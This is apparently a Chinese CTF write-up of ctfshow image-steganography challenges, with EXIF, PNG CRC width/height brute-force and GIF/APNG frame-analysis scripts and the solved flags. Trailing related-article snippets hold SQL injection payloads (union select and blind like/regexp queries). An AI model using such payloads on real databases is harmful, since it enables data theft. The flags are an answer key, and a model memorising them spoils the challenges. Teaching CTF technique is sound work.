    exiftool 查看图片,将序列号686578285826597329转字符得到hex(X&Ys),分别将X/Y ResolutionX/Y Position转成hex,然后拼接起来,flag为ctfshow{e8a221498d5c073b4084eb51b1a1686d}

    在这里插入图片描述

    misc22

    直接查看图片没有发现什么,但是用 Honeyview浏览缩略图时发现数据

    在这里插入图片描述

    利用 MagicEXIF 查看图片,flag为ctfshow{dbf7d3f84b0125e833dfd3c80820a129}

    在这里插入图片描述

    misc23

    exiftool看一下发现有好几个历史时间,History Action中有提示

    在这里插入图片描述

    将给出的四个时间的时间戳转换出来,分别hex后拼在一起,转换地址

    在这里插入图片描述

    misc41

    提示中的F001是突破点,HxD 查看图片发现有有大量F001组成了某种形状

    在这里插入图片描述

    F001出现过的位置中所有十六进制的值单独截取出来,每四位分隔开,把F001替换成0,其他值替换成空格,得到一张含有flag的图片,这里也可以采用CyberChef来解决问题,flag为ctfshow{fcbd427caf4a52f1147ab44346cd1cdd}

    图片篇(文件结构)

    misc24

    HxD查看一下图片,文件头占了53个字节,文件尾的位置在675053字节处 (后面两个字节是windows的”补0”),因为每个像素点由3个字节 (十六进制码6位) 表示,每个字节负责控制一种颜色,分别为蓝(Blue)、绿(Green)、红(Red),所以文件真实的像素大小为:(675053-53)/3=225000

    在这里插入图片描述
    在这里插入图片描述

    题目给的图片是900*150=135000个像素大小

    在这里插入图片描述

    尝试后发现这题的宽度是对的,所以正确的高度是225000/900=250,将高度改成

    在这里插入图片描述
    在这里插入图片描述

    misc25

    TweakPNG查看图片发现图片的CRC值不对,猜测应该是修改了宽高,用脚本跑一下看看

    在这里插入图片描述

    在这里插入图片描述

    根据脚本计算出来的值修改宽高,保存后即可看到flag

    在这里插入图片描述
    在这里插入图片描述

    misc26

    TweakPNG查看图片发现图片的CRC值不对,和上一题一样用脚本跑一下看看

    在这里插入图片描述
    在这里插入图片描述

    根据脚本计算出来的值修改宽高,保存后即可看到flag

    在这里插入图片描述
    在这里插入图片描述

    misc27

    根据提示,猜测依旧是修改图片高度,将高度改高后即可发现flag

    在这里插入图片描述
    在这里插入图片描述

    misc28

    根据提示,猜测依旧是修改图片高度,将高度改高后即可发现flag,但是需要注意从预览图中能看到flag,但是直接打开看不到,可以使用图片编辑器或者Stegsolve打开

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    misc29

    GIF有很多帧,将每一帧的高度都改高后,用Stegsolve查看,在第八帧即可发现flag

    在这里插入图片描述

    misc30

    根据提示修改BMP图片宽度即可发现flag

    在这里插入图片描述
    在这里插入图片描述

    misc31

    根据题给描述,计算正确宽度

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    misc32

    根据题给描述,计算出正确的高宽

    import zlib
    import struct
    
    # 同时爆破宽度和高度
    filename = "misc32.png"
    with open(filename, 'rb') as f:
        all_b = f.read()
        data = bytearray(all_b[12:29])
        n = 4095
        for w in range(n):
            width = bytearray(struct.pack('>i', w))
            for h in range(n):
                height = bytearray(struct.pack('>i', h))
                for x in range(4):
                    data[x+4] = width[x]
                    data[x+8] = height[x]
                crc32result = zlib.crc32(data)
                #替换成图片的crc
                if crc32result == 0xE14A4C0B:
                    print("宽为:", end = '')
                    print(width, end = ' ')
                    print(int.from_bytes(width, byteorder='big'))
                    print("高为:", end = '')
                    print(height, end = ' ')
                    print(int.from_bytes(height, byteorder='big'))
    
    

    在这里插入图片描述

    修改宽高保存后即可看到flag
    在这里插入图片描述
    在这里插入图片描述

    misc33

    根据题给描述,计算出正确的高宽

    在这里插入图片描述

    修改宽高保存后即可看到flag

    在这里插入图片描述
    在这里插入图片描述

    misc34

    利用脚本把生成的所有图片都保存下来了,观察哪个是正常的

    import zlib
    import struct
    filename = r"C:\Users\95235\Downloads\misc34\misc34.png"
    with open(filename, 'rb') as f:
        all_b = f.read()
        #w = all_b[16:20]
        #h = all_b[20:24]
        for i in range(901,1200):
            name = str(i) + ".png"
            f1 = open(r"C:\Users\95235\Downloads\misc34\\" + name,"wb")
            im = all_b[:16]+struct.pack('>i',i)+all_b[20:]
            f1.write(im)
            f1.close()
    

    在这里插入图片描述

    misc35

    先把图片基础的高度调高一点(高度在600,宽度在993-1000这个范围内都可以得到flag),才能看到flag

    import zlib
    import struct
    filename = r"C:\Users\95235\Downloads\misc35\misc35.jpg"
    with open(filename, 'rb') as f:
        all_b = f.read()
        #w = all_b[159:161]
        #h = all_b[157:159]
        for i in range(901,1200):
            name = str(i) + ".jpg"
            f1 = open(r"C:\Users\95235\Downloads\misc35\\" + name,"wb")
            im = all_b[:159]+struct.pack('>h',i)+all_b[161:]
            f1.write(im)
            f1.close()
    

    在这里插入图片描述

    misc36

    和上一题一样先把图片基础的高度调高一点,脚本爆破即可,用照片编辑器查看gif文件

    import zlib
    import struct
    filename = r"C:\Users\95235\Downloads\misc36\misc36.gif"
    with open(filename, 'rb') as f:
        all_b = f.read()
        for i in range(920,951):
            name = str(i) + ".gif"
            f1 = open(r"C:\Users\95235\Downloads\misc36\\" + name,"wb")
            im = all_b[:38]+struct.pack('>h',i)[::-1]+all_b[40:]
            f1.write(im)
            f1.close()
    

    在这里插入图片描述
    在这里插入图片描述

    misc37

    Stegsolve查看,flag在8、14、21、31、34帧中,拼接起来即可

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    misc38

    题目所给的是apng图片,可以使用APNG Disassembler来把每一帧分离出来,9、17、36、40帧中藏有flag

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    misc39

    这里是利用不同帧之间的间隔时间来隐写的,利用identify来处理该GIF图片

    安装命令:
    sudo apt-get install imagemagick
    

    提取命令:identify -format "%T " misc39.gif > 1.txt,得到的一串36和37

    在这里插入图片描述

    把37换成1、36换成0,得到长度为287的二进制字符串,由于无法整除8,考虑7位一组,转换成字符得到flag

    在这里插入图片描述

    misc40

    文件识别为apng文件,使用工具APNG Disassembler,flag在记录详细信息的txt文件中,用脚本把flag提取出来

    在这里插入图片描述

    在这里插入图片描述

    misc42

    根据提示,用tweakpng打开图片,发现IDAT块的长度很可疑,有一部分IDAT块的长度转换为字符是ctfshow,将后面的接着转换成字符即可得到flag

    在这里插入图片描述
    在这里插入图片描述

    misc43

    根据题给描述,先用tweakpng打开分析一下图片,发现报了一堆错,使用pngdebugger分析,发现所有IDAT块的crc32值都是错误的

    在这里插入图片描述

    将错误的IDAT块的crc-code提取出来,拼接起来转字符串即可得到flag

    在这里插入图片描述

    import binascii
    def hex_to_str(s):
        hex = s.encode('utf-8')
        str_bin = bin
        str_bin = binascii.unhexlify(hex)
        return str_bin.decode('utf-8')
    
    s = 'E59387E593A62E63746673686F777B36656232353839666666663565333930666536623837353034646263303839327D'
    hex_to_str(s)
    

    misc44

    根据提示,用PNGDebugger打开,把信息导入到txt文件中

    在这里插入图片描述

    利用脚本把CRC OK的替换成1,CRC FAILED替换成0,注意先把前十行的内容删去,再把最后四行删去

    在这里插入图片描述

    misc45

    根据题给描述,猜测是文件转换,测试后发现转成.bmp格式后,用binwalk提取即可,看大师傅的blog发现考察点是png和bmp像素点的读取方式

    在这里插入图片描述
    在这里插入图片描述

    misc46

    根据题给描述,搜索后猜测应该是画图之类的,先提取出GIF的详细信息

    identify misc46.gif > message.txt 
    

    在这里插入图片描述

    观察得到的信息,其中0+0、174+49、196+47这些是偏移量,用其来进行画图

    坐标提取:
    
    f = open(r"C:\Users\95235\Downloads\misc46\message.txt","r")
    x = f.readlines()
    f.close()
    
    f = open(r"C:\Users\95235\Downloads\misc46\out.txt","w")
    for i in x:
        f.write(i.split("+")[1])
        f.write(" ")
        f.write(i.split("+")[2][:2])
        f.write("\n")
    f.close()
    

    根据得到的点坐标进行绘图

    在这里插入图片描述

    在这里插入图片描述

    misc47

    测试后发现是apng格式,解题的思路是根据每一个IDAT块前面的一个fcTL块中包含的水平垂直偏移量

    在这里插入图片描述

    import struct
    from PIL import Image
    import matplotlib.pyplot as plt
    f = open(r'C:\Users\95235\Downloads\misc47\misc47.png','rb')
    c = f.read()
    c = c[c.index(bytes.fromhex('6663544C00000001')):]
    pp = []
    for i in range(1,1124,2):
        start = c.index(bytes.fromhex('6663544C0000')+struct.pack('>h',i))
        fc = c[start:start+30]
        print(fc[18:20],fc[22:24])
        print(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
        pp.append(struct.unpack('>h',fc[18:20])+struct.unpack('>h',fc[22:24]))
    img = Image.new('RGB',(400,70),(255,255,255))
    for i in pp:
        new = Image.new('RGB',(1,1),(0,0,0))
        img.paste(new,i)
    plt.imshow(img)
    plt.show()
    

    在这里插入图片描述

    misc48

    010 editor打开,发现提示统计FF的数量再减去1、ctfshow{}中包含32个字符

    在这里插入图片描述

    因为flag长度是32位,所以只需要统计前32个段就行

    0 12 11 0 7 10 13 13 9 0 9 13 0 13 6 0 10 9 2 1 0 1 10 8 11 5 12 7 2 2 3 10
    

    分别转换成hex即可

    s = [0,12,11,0,7,10,13,13,9,0,9,13,0,13,6,0,10,9,2,1,0,1,10,8,11,5,12,7,2,2,3,10]
    f = '0123456789abcdef'
    flag = 'ctfshow{'
    for i in range(len(s)):
        flag += f[s[i]]
    flag += '}'
    print(flag)
    

    misc49

    010 editor打开,FFE后面的就是flag的值

    在这里插入图片描述

    图片篇(颜色通道)

    misc50

    由于是颜色通道篇的,很自然想到用Stegsolve查看一下,

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • CTFshow——web入门——sql注入

    千次阅读 2022-02-17 20:57:23
    50): for x in flagstr: data = { "tableName":"`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag + x) #"tableName": "`ctfshow_user`where`pass`regexp('ctfshow{}')".format(flag + x) } response = ...
  • ctfshow web入门 sql注入

    2021-12-07 16:08:59
    无过滤注入 web171 查询语句 $sql = "select... } 括号代替空格,根据之前的表ctfshow_user,post传参tableName=ctfshow_user发现有回显,直接盲注脚本跑一下(%为模糊查询符) Exp #@Auth:Sentiment import requests url='...
  • CTFshow-sqli-labs

    2021-04-19 13:38:40
    CTFshow sql-labs刷题记录 1-4 分别用’、"、’)、")闭合,通过联合查询语句union获取flag。由于当前调用的库非存放flag的库,可以用手注,通过元数据库information_schema.schemata表(查找所有库名),information...
  • ctfshow 其他

    千次阅读 2021-06-28 08:59:06
    //获取参数 $ctfshow=$_GET['ctfshow']; //包含清理脚本 include($clear); extract($_POST); if($key===0x36d){ //帮黑阔写好后门 eval('.$ctfshow.'?>'); }else{ $die?die('FLAG_NOT_HERE'):clear($clear); } === ...
  • [CTFSHOW]CTFSHOW击剑杯 部分WP

    千次阅读 2021-11-11 22:04:41
    payload:POST传 secret=O%3A6%3A%22whoami%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A19%3A%22ctfshow%E7%AC%AC%E4%B8%80%E6%B7%B1%E6%83%85%22%3Bs%3A11%3A%22your_answer%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22...
  • CTFshow——sqli-labs

    2021-04-10 08:49:19
    id=-1' union select 1,database(),(select group_concat(flag) from ctfshow.flag )-- - 2——数字型 ?id=-1 union select 1,database(),(select group_concat(flagac) from ctfshow.flagaa )-- - (select group_...
  • CTFshow misc入门 持续更新中

    千次阅读 2022-04-11 10:10:28
    ctfshow{dd7d8bc9e5e873eb7da3fa51d92ca4b7} misc25 得到一个png格式的图片 这题和24题差不多 题目提示:flag在图片下面 有时候感觉手工太累,找到一个大佬的脚本 一键破解png图片宽高 import struct.
  • CTFshow_终极考核_个人WP

    千次阅读 2022-01-05 20:41:10
    CTFshow_终极考核 参考 不打算参考 0x00 web640 flag_640=ctfshow{060ae7a27d203604baeb125f939570ef} 这里就陆陆续续记录些杂乱的做题笔记吧 做之前提醒自己 信息收集 后果必有前因 640前端发现可疑路径 ...
  • ctfshow web入门 sql注入wp(未完)

    千次阅读 2022-03-08 19:11:58
    ctfshow sql注入
  • ctfshow中Misc入门WP(超级全)

    千次阅读 2021-07-25 16:39:37
    把四段拼起来得到3902939465237161861910824528172980145261,然后转十六进制,再套上ctfshow{},如果不是整体直接转换的话,每段分别转hex,然后拼起来 最终得到:ctfshow{e8a221498d5c073b4084eb51b1a1686d} 后面...
  • CTFSHOW其他篇

    2021-02-02 10:19:26
    (-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method))) web450 ctfshow=phpinfo^phpinfo^phpinfo web451 phpanfo^phpznfo^phprnfo 一位一位异或的 'a'^'z'^'r'=i web452 ctfshow=...
  • CTFSHOW-MISC入门

    2021-11-24 13:42:16
    将xy四段,每段分别转换为16进制,组合起来加上ctfshow{}即可 ctfshow{e8a221498d5c073b4084eb51b1a1686d} MISC 22 提示:flag在图片里 知识点: ThumbnailImage 缩略图 JPEG图片采用了有损压缩的方式,其过程比较...
  • CTFSHOW sql注入(一)

    千次阅读 2021-10-04 17:55:00
    title: CTFSHOW-sql注入(一) data: 2021-09-15 tags: CTF-web CTFSHOW sql注入(一) 开始一周的高强度sql注入训练,先从ctfshow 的基础开始。 包含了CTFSHOW sql注入的 170-200题。 这里都是sql注入的一些基本知识点...
  • ctfshow_sql注入

    2021-03-04 17:53:29
    sql = “select username,password from ctfshow_user2 where username !=‘flag’ and id = '”.$_GET[‘id’]."’ limit 1;"; 返回逻辑 //检查结果是否有flag if($row->username!==‘flag’){ $ret[‘msg’]=...
  • CTFshow sql注入 上篇(web171-220)

    千次阅读 2022-02-18 01:35:03
    } 由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3 ' union select 1,hex(username),password from ctfshow_user3 where username='flag 突然想起来,...
  • ctfshow--反序列化

    千次阅读 2022-03-15 14:24:00
    ctfshow反序列化篇(255-271) 255、 class ctfShowUser{ public $isvip=true; } $a=new ctfShowUser(); echo urlencode(serialize($a)); get传两个参数username=xxxxxx&password=xxxxxx burp抓包,cookie传参...
  • ctfshow 做题 MISC入门 模块 41-50 —— misc41 题目描述: H4ppy Apr1l F001’s D4y! 愚人节到了,一群笨蛋往南飞,一会儿排成S字,一会儿排成B字。 直接点开图片是无法打开的,查看 16 进制文件头是错误的。 但...
  • 普通的upx壳,放kali里面脱下壳就行 运行 进入主函数 __int64 sub_401165() { int v0; // edx int v1; // ecx int v2; // er8 int v3; // er9 __int64 result;... } 得到最终flag:ctfshow{just_a_simple_re}
  • CTFSHOW 密码为: 123456 审计login.js代码,其中: return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; 得到name不能为“CTFSHOW”,但只要
  • ctfshow 做题 MISC入门 模块 31-40 —— misc31 题目描述: 高度是正确的,但正确的宽度是多少呢。 下载附件图片,现在是看不到内容的。 这里和 misc24 的原理一样,通过 bmp 图片像素计算图片的宽度。 还不会写...
  • ctfshow nodejs篇

    2021-07-16 16:52:40
    334 源码给了 登录成功就能拿到flag var express = require('express'); var router = express.Router(); var users = require('../modules/user').items; var findUser = function...=='CTFSHOW' && item
  • 100): low=32 high=128 mid=(low+high)//2 while low(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{}#".format(i,mid) #payload="' or if(ascii(substr((select group_concat(table_name) from ...
  • CTFSHOW-WEB入门-SQL注入

    千次阅读 2021-05-28 12:32:30
    2,concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+ # 查flag ' union select id,username,password from ctfshow_user where username='flag'--+ 关于concat和group_...
  • CTFShow“萌心区“WP题解

    千次阅读 多人点赞 2022-03-24 12:15:41
    CTFSow网站 萌新区题目概览: 萌新区一共47题,本文带来前45题的详细WP,最后两道题等待更新。 ...这道题,就是普通签到题,加入群,查看群公告即可。...看到一大串字母和英文,看了一下,没有大于F的字母,应该是16...
  • 文章目录web517-1web518-2web519-3web520-4web521-5web522-6web523-7web524-8web525-9web526-10web527-11web528-12web529-13web530-14web531-15...ctfshow的sqli-labs和本地搭建最大的不同,就是show的flag不在当前的
  • ctfshow 文件上传161-167

    2022-04-06 17:15:54
    ctfshow 文件上传161-167

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 14,796
精华内容 5,918
关键字:

ctfshow

友情链接: UM_MC96F8208S_V1.9_CH.zip